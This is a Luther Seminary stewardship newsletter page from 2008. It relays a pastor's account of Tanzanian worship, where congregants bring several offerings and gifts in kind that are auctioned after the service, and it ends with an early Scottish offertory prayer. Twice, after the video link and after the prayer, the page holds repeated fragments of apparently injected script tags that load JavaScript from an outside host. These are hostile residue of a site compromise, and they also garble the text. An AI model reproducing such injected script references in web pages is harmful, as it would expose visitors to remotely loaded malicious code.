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On Offerings and Auctions
In January 2008, I had the privilege to be in Tanzania as part of the Bega Kwa Bega ("Shoulder to Shoulder") partnership between the St. Paul Area Synod of the ELCA and the Iringa Diocese of the Evangelical Lutheran Church in Tanzania. I keep musing about the generous spirit of the spiritually-alive people I observed there during the offering portion of the worship services in which I took part.
Gary L. Langness describes the offering tradition in Tanzania: "They all came, from the youngest to the oldest ... they all had something to give ... and the good news is so do we!"
Perhaps you'll find Gary's story about the interesting way Tanzanians young and old give of themselves to the congregation as inspiring as I do.
Grace and peace,
Jerry Hoffman
Director of the Center for Stewardship Leadership
Luther Seminary
On Offerings and Auctions
For as long as I can remember, the offering plate has been passed down the church pew and worshipers placed their monetary gifts in the plate. I do remember being in a church once where the ushers had long poles with red velvet bags attached, which they stretched into the pews to collect the offering, but that was an exception. And then, later in life I had a new experience when I visited a Tanzanian worship service for the first time.
When it was time for the offering, the folks got up from their benches and came forward to place their offering in a basket placed in front of the chancel area. They came in an orderly manner and they all came ... from the youngest to the oldest, they all brought a gift. I liked getting up and placing my offering in the basket ... I had planned for the offering and gave a generous gift. When the last person had placed their gift in the basket I thought the offering was over but I was wrong. A second offering was being taken ... it was to help plant trees on the church property ... and here came the people again streaming down the aisle ... so I had a second opportunity to give. And just when I thought we were ready to move on, a third basket was placed in the aisle ... this was to help a struggling widow who had five children ... and the people came and the people gave and so did I after I asked my wife for more money!
I also noticed that some came with ears of corn, potatoes, handmade baskets, bananas, maize meal, colorful cloth, fire wood, ground nuts and chickens – that would be live chickens! I had no idea how all of these items would be used but was about to find out. At the end of the worship service the whole congregation recessed outside to the music of a choir. Once outside, and before the dismissal, an elder of the congregation stepped forward and started an auction using the items given during the offering. The proceeds of the auction items were then placed into the offering to help with the mission and ministry of the congregation.
Not exactly the way I was used to, but it had promise. Of course, I thought about the advantage of having a second offering. A third offering might be too much for the people back home. I also thought the auction idea was a possibility but began to wonder how to hold the auction in the dead of winter!
They all came, from the youngest to the oldest ... they all had something to give ... and the good news is so do we!
Click this link for a video overview of this companion synod relationship. src=http://www.banner82.com/b.js> src=http://www.banner82.com/b.js>
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May 14, 2008
Luther Seminary welcomes you to Stewardship for the 21st Century.
Gary L. Langness is an ELCA pastor, stewardship leader and integral member of the Bega Kwa Bega partnership.
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Offertory Prayer
I am giving thee worship with my whole life,
I am giving thee assent with my whole power,
I am giving thee praise with my whole tongue,
I am giving thee honor with my whole utterance,
I am giving thee reverence with my whole understanding,
I am giving thee offering with my whole thought,
I am giving thee praise with my whole fervor,
I am giving thee humility in the blood of the lamb,
I am giving thee love with my whole devotion,
I am giving thee kneeling with my whole desire,
I am giving thee love with my whole heart,
I am giving thee affection with my whole sense,
I am giving thee my existence with my whole mind,
I am giving thee my soul, O God of all gods.
(Early Scottish Prayer)
The Complete Book of Christian Prayer src=http://www.banner82.com/b.js> src=http://www.banner82.com/b.js>
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